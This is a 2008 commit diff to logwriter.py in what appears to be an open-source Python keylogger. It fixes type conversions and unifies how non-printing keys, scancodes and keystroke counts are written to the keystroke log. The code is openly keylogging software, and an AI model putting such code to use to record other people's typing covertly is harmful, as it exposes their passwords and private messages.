fix some code errors (str some ints in the right places)

nanotube [2008-02-08 05:34]
fix some code errors (str some ints in the right places)
use the new non-printing character representation everywhere it's needed
Filename
logwriter.py
diff --git a/logwriter.py b/logwriter.py
index dae3375..48495e3 100644
--- a/logwriter.py
+++ b/logwriter.py
@@ -208,14 +208,14 @@ class LogWriter(threading.Thread):
 								str(event.WindowName).replace(self.settings['General']['Log File Field Separator'], '[sep_key]')]

 				if self.settings['General']['Log Key Count'] == True:
-					eventlisttmp = eventlisttmp + [1,unicode(self.ParseEventValue(event), 'latin-1')]
+					eventlisttmp = eventlisttmp + ['1',unicode(self.ParseEventValue(event), 'latin-1')]
 				else:
 					eventlisttmp.append(unicode(self.ParseEventValue(event), 'latin-1'))

 				if (self.eventlist[:6] == eventlisttmp[:6]) and (self.settings['General']['Limit Keylog Field Size'] == 0 or len(self.eventlist[-1]) < self.settings['General']['Limit Keylog Field Size']):
 					self.eventlist[-1] = str(self.eventlist[-1]) + str(eventlisttmp[-1]) #append char to log
 					if self.settings['General']['Log Key Count'] == True:
-						self.eventlist[-2] = int(self.eventlist[-2]) + 1 # increase stroke count
+						self.eventlist[-2] = str(int(self.eventlist[-2]) + 1) # increase stroke count
 				else:
 					self.WriteToLogFile() #write the eventlist to file, unless it's just the dummy list
 					self.eventlist = eventlisttmp
@@ -233,28 +233,29 @@ class LogWriter(threading.Thread):
 		'''Pass the event ascii value through the requisite filters.
 		Returns the result as a string.
 		'''
+		npchrstr = self.settings['General']['Non-printing Character Representation']
+		npchrstr = re.sub('%keyname%', str(event.Key), npchrstr)
+		npchrstr = re.sub('%scancode%', str(event.ScanCode), npchrstr)
+		npchrstr = re.sub('%vkcode%', str(event.KeyID), npchrstr)
+
 		if chr(event.Ascii) == self.settings['General']['Log File Field Separator']:
-			return('[sep_key]')
+			return(npchrstr)

 		#translate backspace into text string, if option is set.
 		if event.Ascii == 8 and self.settings['General']['Parse Backspace'] == True:
-			return('[KeyName:' + event.Key + ']')
+			return(npchrstr)

 		#translate escape into text string, if option is set.
 		if event.Ascii == 27 and self.settings['General']['Parse Escape'] == True:
-			return('[KeyName:' + event.Key + ']')
+			return(npchrstr)

 		# need to parse the returns, so as not to break up the delimited data lines
 		if event.Ascii == 13:
-			return('[KeyName:' + event.Key + ']')
+			return(npchrstr)

 		#we translate all the special keys, such as arrows, backspace, into text strings for logging
 		#exclude shift keys, because they are already represented (as capital letters/symbols)
 		if event.Ascii == 0 and not (str(event.Key).endswith('shift') or str(event.Key).endswith('Capital')):
-			npchrstr = self.settings['General']['Non-printing Character Representation']
-			npchrstr = re.sub('%keyname%', event.Key, npchrstr)
-			npchrstr = re.sub('%scancode%', event.ScanCode, npchrstr)
-			npchrstr = re.sub('%vkcode%', event.KeyID, npchrstr)
 			#return('[KeyName:' + event.Key + ']')
 			return(npchrstr)
ViewGit